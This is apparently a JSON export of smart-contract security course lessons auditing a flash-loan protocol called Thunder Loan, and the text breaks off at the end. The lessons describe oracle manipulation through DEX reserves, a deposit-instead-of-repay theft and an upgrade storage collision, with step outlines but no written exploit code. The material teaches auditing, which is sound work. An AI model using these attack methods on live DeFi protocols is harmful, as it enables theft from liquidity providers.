getCalculatedFee\n\nOne question that is often asked is whether this function calculates the fees of the flash loan. To answer this straightforwardly, yes, it does! The getCalculatedFee function appears not only in the flash loan but is also utilized in the deposit aspect.\n\n![](https://cdn.videotap.com/6mvrIM7OsjoztStUZ3t8-127.26.png)\n\nIn terms of decision-making, the question now arises: how does getCalculatedFee calculate the fee?\n\nIn simple words, it first gets the value of the borrowed token by multiplying the amount by the price in WETH. Importantly, this is sourced from the Oracle upgradable getPriceInWETH, which in turn uses the TSWAP Oracle to calculate the value of the borrowed token.\n\nThe 'flash loan fee,' then calculated, divides the calculated value by some fee precision. From here, it applies a 0.3% fee based on the value of the token rather than the actual token amount.\n\n## Digging Deeper\n\nIn delving into the code, we find that getPriceInWETH derives the price of one pool token in WETH.\n\n![](https://cdn.videotap.com/jZtPSFvT2rr7Jszw6QmJ-286.33.png)\n\nFirstly, it's important to revisit TSWAP to further understand this function, particularly how it calculates the amount based on input and output reserves. It raises a potential area of concern. Within an auditing context, we could ask:\"What if the token has six decimals? Would it then distort the price calculation?\"\n\n> _Critical Outlook:_ Ignoring token decimals could result in inaccurate price calculations, especially when working on the basis of TSWAP decks for determining the flash loan fee.\n\nWhile this looks plausible, it may still not be entirely correct. Circumspection is needed at this point, and we would do well to return and probe further.\n\n## Addressing Minor Questions\n\nAfter reviewing the functions like updateFlashLoanFee, isAllowedToken, and getAssetFromToken, we now move on to view functions. The authorizeUpgrade function is particularly interesting as it underlines why we ought to understand proxies in detailed terms.\n\n![](https://cdn.videotap.com/xKIHOvSLAXgodeugEkw9-381.77.png)\n\nIn essence, adding the _only owner_ stipulation in the authorized upgrade function restricts contract upgrades to the owner alone. Take away this extra layer, and you throw open the door to anyone upgrading the contract!\n\nIn conclusion, our initial pass through the Thunder Loan contracts codebase may not have uncovered any distinct issues. But it certainly has left us with questions that need answering, and that’s where the real fun begins!\n\n## Onwards and Upwards\n\nCracking the code behind algorithms in the cryptosphere may seem incredibly daunting. But remember that the key lies in taking one step at a time, going back to your questions, and digging deeper to find the answers.\n\n![](https://cdn.videotap.com/SeBnhlFpXSRHJX757F1r-434.79.png)\n\nJoin us in our next post for a further breakdown of these questions – who knows, we might uncover new insights in our exploration of Thunder Loan contracts. Until then, happy coding!\n", + "updates": [] + }, + { + "lessonId": "59f203cb-1a3d-4aa0-86a2-4cd7faaf1785", + "number": 36, + "title": "Answering Our Questions", + "slug": "answering-our-questions", + "folderName": "36-answering-our-questions", + "description": "", + "duration": 9, + "videoUrl": "4oCBj00yM8y8cNhVqZdHkFscX8kceq2I101aCKxCrKgYA", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/36-answering-our-questions/+page.md", + "markdownContent": "---\ntitle: Answering Our Questions\n---\n\n---\n\n# A Deep Dive into T-SWAP: Unpacking Questions and Bugs\n\nIn our exploration of the intricate protocol called T-SWAP, we're going to be asking some hard questions and unraveling complex aspects. The key thing about crypto dApps is you need to understand their working down to the bare-bones in order to exploit or protect against potential vulnerabilities.\n\nTo make the exercise simple, we will treat the hard-hitting questions as dialogue, with each question and answer followed by a quick analysis or piece of advice.\n\nLet's jump in.\n\n## Q1: Why are we using T-SWAP?\n\nWe're using T-SWAP to get the value of a token so that we can calculate fees. Sounds simple enough, right? However, this leads us to another question.\n\n## Q2: Why are we only using the price of a pool token in WETH (Wrapped Ethereum)?\n\nThis is the part that may sound a bit odd. Why are we getting the price in WETH when our primary objective is the price of the token? We're using this pricing in `calculateFee` or `getCalculatedFee`. This calls the `getPriceInWETH`, but for a scenario where we have a flash loan, it's not making much sense.\n\n![](https://cdn.videotap.com/Ko9tuGIzxt2a7EKvdpiz-189.39.png)\n\n\"If we intended to get the price in WETH then the fee should probably be in WETH,\" I hear you say. And you're right. This `getCalculatedFee` seems off. How can one USDC plus 0.3 USDC make sense when the fees are being calculated using `getPriceInWETH`? This could be a potential bug in the software.\n\nAt this juncture, we must determine the impact and likelihood of this bug.\n\n## Potential Bugs in Fee Calculation\n\nFirst off, let me assure you - we're not expecting you to grasp everything the first time around. Crypto security is rife with quirky implementations that some might consider \"weird wonkiness.\"\n\nHere's what we're dealing with - Whenever a fee gets calculated, it uses this potentially flawed method. If this is not the intended functionality, that's a problem! The audit likelihood might be high, leading to a 'medium to severe disruption of the protocol' and the impact could be either medium or high.\n\n> **Quote:** \"If the fee is going to be in the token, then the value should reflect that. But in current scenario it's super weird. We're getting the value of the borrowed token in units of WETH, and we're increasing the fee in units of WETH and USDC.\n\n## Q3: Weird ERC20s with USDC\n\nNow, let's move onto the next question. What if USDC blacklists the loan contract? USDC is behind a proxy and could be upgraded anytime, which could potentially 'wreck' the protocol. This could lead to a freeze on the whole protocol. This is crucial to discuss in private or competitive audit.\n\nBut remember, the rules in competitive audits _usually_ are: 'if a user is denied service or removed, too bad. However, if a user's denial affects others, that's usually an accepted finding in a competitive audit'.\n\nIn case of ERC20s, in competitive audits, these are often not considered valid findings. Sure, you need to keep the clients aware in a private audit, but competitive audits call for more pressing issues. We'll rate this an audit medium, maybe an audit low.\n\n## Q4: Decimals with Token - Can the Price be Wrong?\n\nNow, this is an intriguing aspect. Please note that for this blog, we're going to skip over this question. But here's a challenge to you, the reader, if you think you can answer it better: If a token is characterized by weird and different decimals, can the price be wrong?\n\nHere's a nugget of wisdom: Always be thinking about these types of things. Find out if you can break the protocol by using weird tokens with weird decimals.\n\n## Q5: Is `feePrecision` Misplaced?\n\nThis code deep dive also raises the audit question on whether the `feePrecision` value, which is currently a storage variable, could be better served as a constant immutable.\n\nThat covers some of our perplexing questions about T-SWAP, and we've unfortunately stumbled upon a few potential bugs! But hey, it's better to discover them now in an audit than later when the damage could be far more considerable.\n\nThe key takeaway from this exploration is the importance of meticulous analysis during crypto dApp development. Every piece of code should be audited carefully to ensure it's bug-free and works as intended.\n\nI hope this blog enriched your knowledge about potential pitfalls and the need for audacious questions during protocol designing process.\n\nRemember, in the complex world of crypto, curiosity doesn't kill the cat; complacency does!\n", + "updates": [] + }, + { + "lessonId": "7246ca88-7397-43b7-9500-87bb15eafa70", + "number": 37, + "title": "Improving Test Coverage To Find A High", + "slug": "improving-test-coverage-to-find-a-high", + "folderName": "37-improving-test-coverage-to-find-a-high", + "description": "", + "duration": 16, + "videoUrl": "02CWQ02hUiGoFVcMcbSN00LUYOtzjbmQjC4FXWTa859bvQ", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/37-improving-test-coverage-to-find-a-high/+page.md", + "markdownContent": "---\ntitle: Improving Test Coverage To Find A High\n---\n\n# Unraveling the Mystery: Decoding Flash Loan Fees and Exchange Rate Updates\n\nAs we delve deeper into the complexities of DeFi protocols, we find ourselves constantly asking - Why? Why are we calculating the fees of a flash loan in the deposit? And why are we updating the exchange rate? Isn't it a bit strange to perform these updates here?\n\nTo unravel this puzzle, we embarked on an audit trail that led to some unexpected discoveries and revelations.\n\n## Deciphering the Problem: Understanding Exchange Rates and Flash Loans\n\nThe first oddity we noticed was the update of the exchange rate in the deposit function when adding fees. This process typically only commences when there's a significant increase in the total amount of money in the asset token. It seemed illogical that the deposit function, which accrued no fees, was responsible for this update.\n\nIf the update exchange rate was malfunctioning, it would have repercussions on the 'redeem' function - our protocol's withdrawal mechanism. To confirm our suspicions, we needed to test this function first.\n\n## Running the Test: Examining the 'Redeem' Function\n\nTo validate the functionality of the redeem function, we had to initiate a test. We decided to write a test for the redeem function and simulate a scenario of borrowing from the test flash loan and then attempt to redeem.\n\nWe commenced with the test by first setting up a mock Flash Loan receiver with a specified fee, which would be used for the Flash Loan.\n\nThe test would first change the exchange rate by depositing some funds, then modify it again by initializing the Flash Loan. ideally, at this stage, the depositor should be able to withdraw all their money.\n\n![](https://cdn.videotap.com/NHVntHvDBDp2yLjdahS4-377.57.png)\n\n## The Unexpected Revelation: Insufficient Balance\n\nThe test, unfortunately, produced an unexpected outcome - Insufficient balance.\n\nAfter analyzing the logs of the transactions performed during the test, we noticed that the 'transferUnderlyingTo' function was returning an error stating insufficient funds. The amount to be transferred back (1003 tokens) was higher than the initial deposit (1000E 18).\n\nThis discrepancy threw us off balance. We had triggered a Flash loan, and expected to incur a fee, but the increase in the withdrawal amount surpassed the fee incurred. Upon scrutinizing the deposit function once again, we discovered an uncanny occurrence - the exchange rate was updating the fee.\n\nThe exchange rate, which was originally responsible for tracking the total amount of money in the protocol at all times, had now charged a fee without any transaction taking place.\n\nThis detrimental coding error was affecting liquidity providers' ability to redeem their tokens, setting off alarm bells for us.\n\n## Assessing the Damage: Decoding the High\n\nTo ascertain the gravity of the impact of this error, we performed a follow-up test with the problematic lines of code in the Thunder loan commented out. As expected, the test passed, solidifying our suspicion. The initial mock test we developed served as a proof of code that affirmed our findings.\n\n![](https://cdn.videotap.com/liERWQdBJtLyf0Oj21Oc-556.43.png)\n\nThe paramount error was evident - the erroneous exchange rate update in the deposit function. This update was blocking redemptions and incorrectly setting the exchange rate, leading to severe disruptions in the contract functionality.\n\nThe likelihood of this recurring was high due to its occurrence every time someone deposited. The impact, too, was high as users' funds would be locked. Moreover, rewards were incorrectly calculated due to reward manipulation leading to users potentially getting way more or less than deserved.\n\n## Mitigating the Threat: Towards a Safer Protocol\n\nHaving extensive experience in blockchain security, we carefully devised a countermeasure to neutralize this imminent threat.\n\nThrough our persistent efforts probing into the code, we have managed to reveal a glaring irregularity that could have potentially endangered the whole protocol. The mandatory removal of this erroneous exchange rate update from the deposit function could significantly impact the protocol, making it safer and more secure, offering a fortifying solution to this daunting mishap.\n\nAnd, as we continue ahead in our journey, probing for more security vulnerabilities and solving them, we learn that most bugs tend to surface towards the end of the audit. As our understanding of the protocol deepens, we get better at detecting potential threats, eventually leading to a more secure eco-system for all.\n", + "updates": [] + }, + { + "lessonId": "8564f658-ef5f-4c3f-9f4b-9cb564b5f609", + "number": 38, + "title": "Exploit: Oracle Manipulation", + "slug": "exploit-oracle-manipulation-intro", + "folderName": "38-exploit-oracle-manipulation-intro", + "description": "", + "duration": 2, + "videoUrl": "2xZ01jBXrDLTsaU01q1GTXGd00DlAlDDq64RfC4RB1iMe8", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/38-exploit-oracle-manipulation-intro/+page.md", + "markdownContent": "---\ntitle: Exploit - Oracle Manipulation - Introduction\n---\n\n# The Art of Debugging: A Deep Dive into Oracle Manipulation\n\nHello Code Lovers! We're back with another exciting and intriguing chapter of our journey today. So, keep your curiosity alive as we have some complex but fascinating issues to untangle.\n\n## Unravelling the Mystery: Deleting a Mapping\n\nFirst things first – let's delve into one compelling question that's been troubling us: Does deleting a mapping work? Remember, the key to successful debugging is not just fixing the bug, but comprehending the reason behind it.\n\nAfter a thorough examination, we did come across some irregularities earlier. But with our renewed focus, let's try to unlock this puzzle.\n\n![](https://cdn.videotap.com/EDZ935DJCvseMdojYDqQ-15.74.png)\n\n## Decoding the Fee Calculation Conundrum\n\nMoving on to another important question: How does the fee get calculated? Now, if you'll recall from our previous discussion, we uncovered some strange issues concerning the fee represented in the token.\n\nWithout getting bogged down by the past problems, let's scrutinize if there's a deeper complication here, especially with the usage of T-SWAP as the protocol.\n\nOn a side note, this is an instance where the wisdom derived from previous experience comes into play. It's essentially when debugging starts resembling a thrilling treasure hunt - the more treasures (read: issues) you uncover, the more experienced and capable you become.\n\nSo, roll up your sleeves as we uncover a grave inconsistency embedded in the depths of this code.\n\n![](https://cdn.videotap.com/ILyKyCIUBPHesdezqO7A-34.63.png)\n\n## The Hidden Dragon: Oracle Manipulation Issues with AMM\n\nAs we delve deeper, there's a staggering hiccup with using the reserves of a Decentralized Exchange (DEX) or an Automated Market Maker (AMM), like TSwap. Did you know the reserves' modification could drastically alter the price, thus jeopardizing the entire protocol?\n\nConsider, for instance,If you could alter the reserves in TSwap, it, in turn, alters the price and disrupts the entire protocol.\n\nThis brings us to our next cornerstone - understanding Oracle Manipulation, to determine any potential malfunctions leading to a breach.\n\n![](https://cdn.videotap.com/Dq8ETmltBDcUUQFSFh4o-56.67.png)\n\n## Oracle Manipulation: Spotting the #1 Attack Vector of 2023\n\nThere's a critical question to address here: What's the likelihood of a breakdown? And if it exists, can it expose the system to potential hacks?\n\nIf you're in tune with the trends, then you most certainly know that Price Oracle Manipulation topped the list of attack vectors for the first half of 2023. It's essential to have a clear understanding of how it operates, how to steer clear of it and, most importantly, spotting this concern.\n\nUnfortunately, the problem is commonplace in competitive audits, private audits, and also manifests \"in the wild.\"\n\nLet's delve into this vast sea of knowledge, which may seem intimidating for beginners but indeed holds the key to amending this widespread issue.\n\n![](https://cdn.videotap.com/DFzBDvQKrlAS9RSlOvGX-75.56.png)\n\n## In Conclusion\n\nSo let's start snowballing now and romp through this course! Debugging and solving these issues will give you a giddy sense of accomplishment. More importantly, learning to identify these potential landmines can equip you to deal with an array of daunting challenges in your coding journey. Happy Debugging!\n", + "updates": [] + }, + { + "lessonId": "ec5a245b-0240-4ebe-8389-35259b0e7af7", + "number": 39, + "title": "Oracle Manipulation: Minimized", + "slug": "exploit-oracle-manipulation-minimized", + "folderName": "39-exploit-oracle-manipulation-minimized", + "description": "", + "duration": 10, + "videoUrl": "q4GhJAaGGAGtpuGbtE6jrfwZWH00wO701PHNn67Bdz99M", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/39-exploit-oracle-manipulation-minimized/+page.md", + "markdownContent": "---\ntitle: Exploit - Oracle Manipulation - Minimized\n---\n\n# Utilizing SC Exploits for Oracle Manipulations in Blockchain Protocols\n\nIn the whirlwind universe of blockchain protocols, there lies a fascinating yet notoriously common class of vulnerabilities that all budding developers should be aware of - Oracle Manipulations. The term \"Oracle\" refers to an entity that helps blockchain protocols interact with the outside world by providing them with real-world data. In this article, we'll delve deep into the world of SC (Smart Contract) exploits, examining a particular vulnerability concerning Oracle manipulations and how it can be leveraged for profit.\n\n![](https://cdn.videotap.com/7l5XeduNYadMolRpvY1p-27.77.png)\n\n## A Basic Understanding of Flash Loans\n\nFirst things first, let's recap an elemental concept - Flash loans. To keep it simple, flash loans are loans that allow you to borrow assets without any collateral, with the condition that you return them within a single transaction.\n\nHere's a basic formula for a flash loan:\n\n1. An entity calls for a flash loan.\n2. They get the loaned asset (say, a particular cryptocurrency).\n3. They carry out an operation or multiple operations using the asset.\n4. Finally, they return the money within the same transaction.\n\n## SC Exploits and Oracle Manipulations - How Does It Happen?\n\nLet's walk through an example of how these exploit works. Consider a common situation where we have a decentralized exchange, TSwap for instance. Within TSwap, you have two liquidity pools, as in all traditional DEXs. Let's say these pools hold 100 USD Coin (USDC) and 10 Wrapped Ether (WETH) respectively.\n\nGiven the current holdings, the ratio of USDC to WETH in this pool is 10:1. This means that you could theoretically get 1 WETH for 10 USDC, ignoring slippage and other factors.\n\nSo, what happens if our savvy exploiter decides to take a flash loan?\n\nLet's say the entity takes out a flash loan of 1,000 USDC. Instead of using this for the usual operations, they decide to swap it onto TSwap, pushing its USDC reserves up to 1,100. This drastically changes the ratio in the pool, making WETH significantly more expensive in terms of USDC.\n\nThe trick here, however, is that all of this is happening within the timeline of a single transaction. To an outside observer (including other smart contracts), it looks like for a brief moment, the price of WETH has soared.\n\n## The Consequences of Price Manipulation\n\nIf another protocol that uses Tswap's price feed to determine the price of certain assets, it would momentarily read this wrong price. Assume a protocol, which we call Protocol 'Whoops', mints NFTs at a rate pegged to the price of WETH. The hacker can temporarily buy these NFTs for cheap, sell them for a profit, and then pay back the flash loan - all in one transaction!\n\nWe can see how exploiting oracle manipulation can be quite a lucrative business - but only for those equipped with in-depth knowledge of blockchain, smart contracts, and DeFi protocols.\n\n## The Thunderloan Example\n\nConsider the Thunderloan contract, which is a perfect representation of such exploits. It uses a TSwap-like decentralized exchange as its price oracle, creating a significant risk as flash loans can manipulate the price feed quite conveniently. Thus, a savvy exploiter could utilize a flash loan from Thunderloan to manipulate Thunderloan itself.\n\nYou can explore further on oracle manipulation exploits by checking out the SC exploits in the \"minimized\" section on Github. It includes a detailed example of Oracle manipulation and how it played out, including everything needed for you to try and test it yourself in a local environment.\n\n## Notable Incidents\n\nOne notable case that stands out in history is the Cream Finance attack that took place in 2021. The attacker exploited a pricing vulnerability by lending and borrowing flash-loaned funds between two addresses, wreaking havoc on Cream's financial assets.\n\nThe Cream Finance attack is not unique; several other significant and minor hacks have been carried out over the years that involve similar exploit methods. Therefore, be it as a developer on the lookout for bugs in your protocols or a crypto enthusiast looking for loopholes, understanding oracle manipulation attacks should be in your toolkit.\n\n## Conclusion\n\nOracle manipulation is an intriguing and unfortunately prevalent attack vector within blockchain protocols. It is crucial as developers, stakeholders, and enthusiasts to understand such vulnerabilities to build, invest, and operate more securely within the crypto space.\n", + "updates": [] + }, + { + "lessonId": "6a890d64-3b94-4fba-907a-935065ff8efd", + "number": 40, + "title": "Oracle Manipulation: ThunderLoan Poc", + "slug": "exploit-oracle-manipulation-thunderloan-poc", + "folderName": "40-exploit-oracle-manipulation-thunderloan-poc", + "description": "", + "duration": 29, + "videoUrl": "a4UbnhGl8ThvI00EdJPma8Jmtj01oQlaB3cJT8HsI302WI", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/40-exploit-oracle-manipulation-thunderloan-poc/+page.md", + "markdownContent": "---\ntitle: Exploit - Oracle Manipulation - Thunder Loan PoC\n---\n\n# Exploiting Oracles with Flash Loans\n\nOracles play a critical role in blockchain systems by providing external data to smart contracts. However, improperly designed oracles can lead to devastating oracle manipulation attacks. In this post, we will demonstrate an advanced oracle manipulation attack using flash loans.\n\n## Overview\n\n![](https://cdn.videotap.com/kM0YOBTs7t8WreMLhr2A-49.5.png)We recently audited a lending protocol called ThunderLoan that relies on a DEX called TSWAP for price feeds. By exploiting TSWAP with flash loans, we will manipulate prices and extract cheaper flash loans.\n\nThis is an extremely advanced attack that combines:\n\n- Flash loans\n- Oracle manipulation\n- Arbitrage bots\n- DEX price manipulation\n\n## Exploiting the Oracle\n\nTo manipulate the price oracle, we will:\n\n1. Take out a flash loan of 50 **tokenA**\n2. Use the loan to manipulate TSWAP reserves\n3. Take out another flash loan for a hugely reduced fee\n\nWhen `maliciousFlashLoan` is called:\n\n1. The first 50 token loan dumps onto TSWAP, manipulating prices\n2. The second 50 token loan has a massively reduced fee due to the price change\n\n### Full Exploit Code\n\n![](https://cdn.videotap.com/xK2fynd4EnHBvr8emyyD-1501.5.png)\n\nIt's very complex but essentially:\n\n1. Borrows 50 tokens\n2. Swaps them on TSWAP, nuking the price\n3. Borrows another 50 tokens for cheaper\n4. Checks the fee is reduced\n5. Repays everything\n\nRunning the code proves fees are drastically reduced by the attack.\n\n## Impact\n\nThis attack allows attackers to take flash loans for extremely cheap. They circumvent the protocol's fees and essentially get free money.\n\nWe classify this as a medium severity issue. It's unlikely to be exploited in the wild due to complexity, but if it was, it could seriously compromise sustainability.\n\n## Recommended Mitigation\n\nThe root cause is using on-chain DEX reserves to price assets. This is easily manipulated.\n\nInstead, we recommend decentralized oracle solutions like:\n\n- Chainlink Price Feeds\n- Uniswap TWAP\n\nThese are robust against manipulation, ensuring accurate prices even during attacks.\n\nWe hope this post has provided valuable insight into advanced oracle manipulation attacks in blockchain systems. As protocols expand in complexity, deeply understanding these attacks will prove invaluable to engineers and auditors alike.\n", + "updates": [] + }, + { + "lessonId": "14bf10cf-959a-4040-862f-e91241459691", + "number": 41, + "title": "Oracle Manipulation: Recap", + "slug": "oracle-manipulation-recap", + "folderName": "41-oracle-manipulation-recap", + "description": "", + "duration": 3, + "videoUrl": "zfn2qV1R9DLzY01cCx0202A1AmKMgv01JD2CQ6jDjqRu4k4", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/41-oracle-manipulation-recap/+page.md", + "markdownContent": "---\ntitle: Oracle Manipulation Recap\n---\n\n# Flash Loans: Making Blockchain Arbitrage Accessible\n\nArbitrage, the simultaneous buying and selling of assets in different markets to take advantage of differing prices, has long been an effective strategy for the 'financially fearless' among us. A concept traditionally dominated by the deep-pocketed whales of Wall Street, the decentralised finance (DeFi) world is flipping the field on its head with the application of flash loans.\n\nCan't tell your flash loans from your DeFi? No worries, mate. Let's dive deep into it all and level the arbitrage playing field!\n\n### The Magic of Flash Loans\n\nBut what's a flash loan? A flash loan is a loan that lasts exactly one transaction! Quite an alien concept to anyone versed in traditional finance, this tool is peculiar and unique to the DeFi blockchain realm.\n\n```markdown\n\"It is a loan that lasts exactly one transaction.\"\n```\n\n![](https://cdn.videotap.com/VtEQgP01EvzX42ymoqp1-45.63.png)\n\nWhy so peculiar, you ask? That's because a flash loan smart contract can stipulate 'if you don't pay me back, I will just revert everything that you've done'. Imagine the applications!\n\n### Where the Whales Swim: An Example\n\nThis is where it gets interesting. Major players (whales) deposit large sums of money into protocols that host flash loans. Why? Because every flash loan carries a fee, incentivising whales to keep their money safely in the protocol. But how does this tie into arbitrage, and why should we care?\n\nWell, let's scope out a practical application of flash loans in our arbitrage world.\n\nImagine two different cryptocurrency exchanges present a price discrepancy for the same asset. If you had the funds, you could buy from one exchange at a lower price and sell on the other at a higher price, making a neat profit. This requires substantial initial investment to explore, which is where flash loans change the game completely.\n\nFlash loans democratize the arbitrage domain, allowing even the smallest fish in the sea to swim amongst the whales. By providing the funds for the duration of one transaction, users can perform arbitrages without owning the requisite amount at the outset!\n\n### Flash Loans and DeFi: A New Era of Financial Democracy\n\nIn a regular finance landscape, opportunities for arbitrage are available exclusively to the wealthy class. The DeFi landscape transforms the traditional constructs of finance by opening these virtual doors to anyone and everyone. Flash loans are an empowering tool for the smaller fish to leapfrog the barriers of entry and start swimming in the arbitrage ocean.\n\n```markdown\n\"DeFi levels the playing field and allows anyone to take advantage of these opportunities.\"\n```\n\n### Life in the Flash Lane: From Arbitrage to Collapse\n\nAnother fascinating interaction that can occur between flash loans and DeFi protocols involves ‘price manipulation’. Here, users leverage flash loans to manipulate the price on a decentralized exchange (DEX), resulting in opportunities for further trading advantages.\n\n![](https://cdn.videotap.com/0dhGroKi4k72ZIMv0UAb-130.37.png)\n\nThis tactic is illustrated in a test we conducted using an imaginary 'Thunder Loans' protocol. We set it up, requested a flash loan, and manipulated the reserve ratios of the DEX, causing a significant change in price. This setup enabled us to borrow another flash loan, this time with a substantially lower fee due to the manipulated rates.\n\nThis might sound somewhat unscrupulous, as the liquidity providers (the whales) lose out, yet the strategy worked. We completed all the necessary moves, hit the 'Thunderloan flash loan' button, manipulated the contract code, ensured the change in reserves, and witnessed the price drop from a 1:1 ratio down to a 1:2 ratio.\n\nFinally, we executed another flash loan, leaving us with a drastically cheaper fee due to our manipulations with the initial flash loan. We then repaid this loan, leading us into an intriguing question: What if we didn't need to repay?\n\n![](https://cdn.videotap.com/CTDan8syFjGyGDy0iJ02-156.44.png)\n\nThis was quite a jog around the DeFi neighborhood and our thrilling exploration of flash loans. Now, take a breather, grab some water or coffee, and let’s gear up for the next leg of this captivating journey in the fantastic world of blockchain technology!\n\nRemember, with DeFi and flash loans, the future of finance is truly in your hands.\n", + "updates": [] + }, + { + "lessonId": "ea331fa9-cbc2-4a7c-b208-6ef48440986d", + "number": 42, + "title": "Exploit: Deposit Instead Of Repay", + "slug": "exploit-deposit-instead-of-repay", + "folderName": "42-exploit-deposit-instead-of-repay", + "description": "", + "duration": 17, + "videoUrl": "xBK8ONKHfUhKR502jyhUSOAcW8psGZD3gmo8a8dTQLj00", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/42-exploit-deposit-instead-of-repay/+page.md", + "markdownContent": "---\ntitle: Exploit - Deposit Instead of Repay\n---\n\n---\n\n## title: \"Uncovering Unexpected Bugs in Defi Smart Contracts with Thunderlone\"date: \"2021-07-18\"author: \"DeFi Geek\"\n\nWelcome back fellow DeFi enthusiasts! Get ready as we dive into our awesome bug-hunting exercise featuring - Thunderlone and Thunderlone upgraded.\n\nIn this article, I am excited to reveal not just one, but two juicy bugs for you today. One is in the original Thunderlone smart contract, and the other one is lurking in the upgraded version of Thunderlone, which we'll dissect later on.\n\nBear with me as we uncover these bugs and provide strategies to squish them.\n\n## Unearthing Bugs in DeFi Smart Contracts\n\nBefore delving into the bugs, let me remind you - you're doing great. If you're new to DeFi, this section might be a little tough, but hang in there, we're almost at the finish line.\n\n### Bug Hunting Begins!\n\nWith our newfound expertise in flash loans, we've managed to uncover some interesting behaviors and potential oversights.\n\nOur journey began with a simple question: _What other ways exist to get money into this contract, outside of repaying or sending assets directly, that can potentially pull it out later?_\n\nHow did we answer this? For this, we ran a quick scan of Thunderlone's methods.\n\nThis gave us a comprehensive overview of all the methods that Thunderlone has, and their respective function signatures. As we analyzed this information, one function jumped out - _deposit_.\n\n### The \"Deposit\" Function – A New Way to Leverage the System?\n\nUntil now, deposit was mainly used by whales to put their tokens in and redeem them later. But we started wondering, what if the system allowed us to deposit tokens and then redeem them without calling repay?\n\nSounds like a twist in the plot, doesn't it? This interesting loophole sparked our curiosity, leading us to write a proof of code.\n\n### Writing Test to Verify The Bug\n\nOur next step was to create a test scenario. Our test involved initiating a flash loan, after which the user would need to deposit a certain amount.\n\n```markdown\nTest scenario:1. Start loan2. Deposit assets3. Redeem money4. Conclude loan\n```\n\n### Test Results – Validation of the Bug\n\nWhat did we find? We found a loophole – stealing money. You heard right! It turns out that our users can manipulate the system by initiating a flash loan and then merely depositing it. Next, they can redeem all the money, causing a huge loss for our liquidity providers.\n\nCheck it out; the test along with the results of this big reveal is available at `test_number1` on our repository.\n\n## Thunderlone Upgraded - Examination and Exploration\n\nWith Thunderlone dissected, it was time to aim our magnifying lens on Thunderlone Upgraded. Remember, Thunderlone Upgraded was supposed to be the improved version. Did it hold up to expectations? Let's find out.\n\nSince this is an upgradable contract, we had two paths to explore:\n\n1. Starting from scratch - study the code line by line as we did with Thunderlone.\n2. Use **diff** - a command used to spot the differences between two files.\n\nIn this case, we chose the **diff** command as the more efficient approach.\n\nTo see the differences between the two files, we use the diff command:\n\nThanks to **diff**, we got a comprehensive report sifting through lines of codes and comments. This method helped us identify that they planned on swapping the storage spots of `sFlash Loan fee` which would lead to a disastrous storage collision issue!\n\n### Introducing Storage Collision Attack\n\nThis brings us to our second bug - a _storage collision attack_.\n\nTake a moment to imagine a world where a programmer decided to make a quick swap in the storage variables. Initially, you may think it's an innocent programming overlook, right? However, it's an altering decision that will wreak havoc on the entire storage structure, leading to a storage collision attack.\n\nIn short, you can't just swap the storage spots!\n\nIn the original Thunder Loan, `sFlashLoanFee` is present at slot 3, but in the upgraded version, it's present at slot 2. This shift increases the chances of a fatal storage collision. As such, the swap would directly affect the asset owners, hence, leading us down the path of financial discrepancy.\n\n---\n\nAs a final thought, let me just remind you - no matter how minor the change in the code appears, it can have major impacts on your contract's functionality. In this case, this seemingly insignificant storage variable swap has the potential to lead us down a path of storage collision, causing a significant catastrophe.\n\nHappy bug hunting!Stay Safe. Stay Decentralized!\n\nThat's all for now, fellow developers and DeFi enthusiasts. See you in the next venture, decoding, dissecting, and debugging DeFi contracts.\n\nUntil then - keep defying, keep decoding!\n", + "updates": [] + }, + { + "lessonId": "4ece65ad-a1e7-405e-9d6c-8f5aaa7f2e45", + "number": 43, + "title": "Exploit: Storage Collision", + "slug": "exploit-storage-collision-storage-refresher", + "folderName": "43-exploit-storage-collision-storage-refresher", + "description": "", + "duration": 3, + "videoUrl": "EuCI9yCpCAPJ1K200700qQhxOPjVp5t02Ct1HVJp4EoQjw", + "rawMarkdownUrl": "/routes/security/6-thunder-loan/43-exploit-storage-collision-storage-refresher/+page.md", + "markdownContent": "---\ntitle: Exploit - Storage Collision - Storage Refresher\n---\n\n# Understanding the Mechanism of Ethereum Smart Contract Storage.\n\nThe vast and innovative landscape of Ethereum smart contracts demands a comprehensive understanding of the subtle ways in which these self-executing bits of code work. In this article, we aim to unpack the operational mechanism of smart contract storage, drawing focus on its organization, types of variables, and implications of upgrades. Without further ado, let's dive straight into understanding contract storage.\n\n## Variable Placement in Storage\n\nStorage, in essence, can be understood as a giant array containing variables. Sequential variables get chronologically placed into this array, with each variable occupying a unique storage slot.\n\nFor instance, let's consider a simple variable - `int256 favoriteNumber`. As a first variable, it's placed into `storage slot 0`. If we add another variable, such as a boolean `bool someValue`, it follows suit and gets stacked into `storage slot 1`.\n\n![](https://cdn.videotap.com/fqXHyZ8Wd1AmcWeZV9jE-24.png)\n\n### Variable Packing\n\nWhile this description captures the essence of storage placement, there's an added layer of complexity; Solidity does some interesting stuff like \"packing variables\". However, that's a topic for another day. Rest assured, this bit of information won't interfere with the fundamental understanding of storage.\n\n## Arrays and Mappings in Storage\n\nStorage gets slightly trickier to comprehend when dealing with arrays and mappings. The organization of an array is a tad bit complicated - the length of the array gets positioned in a slot analogous to a regular variable. The actual elements of the array, however, find their home in a hash of the storage slot of the array length.\n\n![](https://cdn.videotap.com/JMGwpAcocpS7uwDvgxPP-45.png)\n\n## The Storage Exceptions: Constants and Function Variables\n\nTwo types of variables are exempted from having storage slots - constants and function variables.\n\n- **Constants**: Constant variables do not warrant storage slots as they are hard-coded directly into the bytecode. Consequently, we don't need to worry about constant variables while delving into storage.\n\n- **Function Variables**: Such variables—often initialized during the execution of a function— are temporary and exist only for the duration of the function call. Hence, they are stored in memory space, not in storage slots.\n\n## Storage Slots Upon Contract Upgrade\n\nA key question arises - what happens to the storage slots when a contract is upgraded? Well, the order of variables in our upgraded contract is assigned new storage slots, but it also inherits the previous order of variables.\n\n> \"We've just totally messed up storage by upgrading our contract to some new nonsense.\"\n\nLet's say the boolean variable `someBool` was initially in `storage slot 1`, but upon contract upgrade, the variable shifts to `storage slot 2`. This transition recapsulates the flexibility, albeit complexity, of the Ethereum storage structure.\n\n![](https://cdn.videotap.com/UvEwzYfKpxND8OGan5AW-114.png)\n\nIn conclusion, understanding the storage behavior in Ethereum smart contracts is fundamental for anyone trying to navigate the rich ecosystem. The mappings and order change can surely create some confusion, but with time and practice, managing storage slots 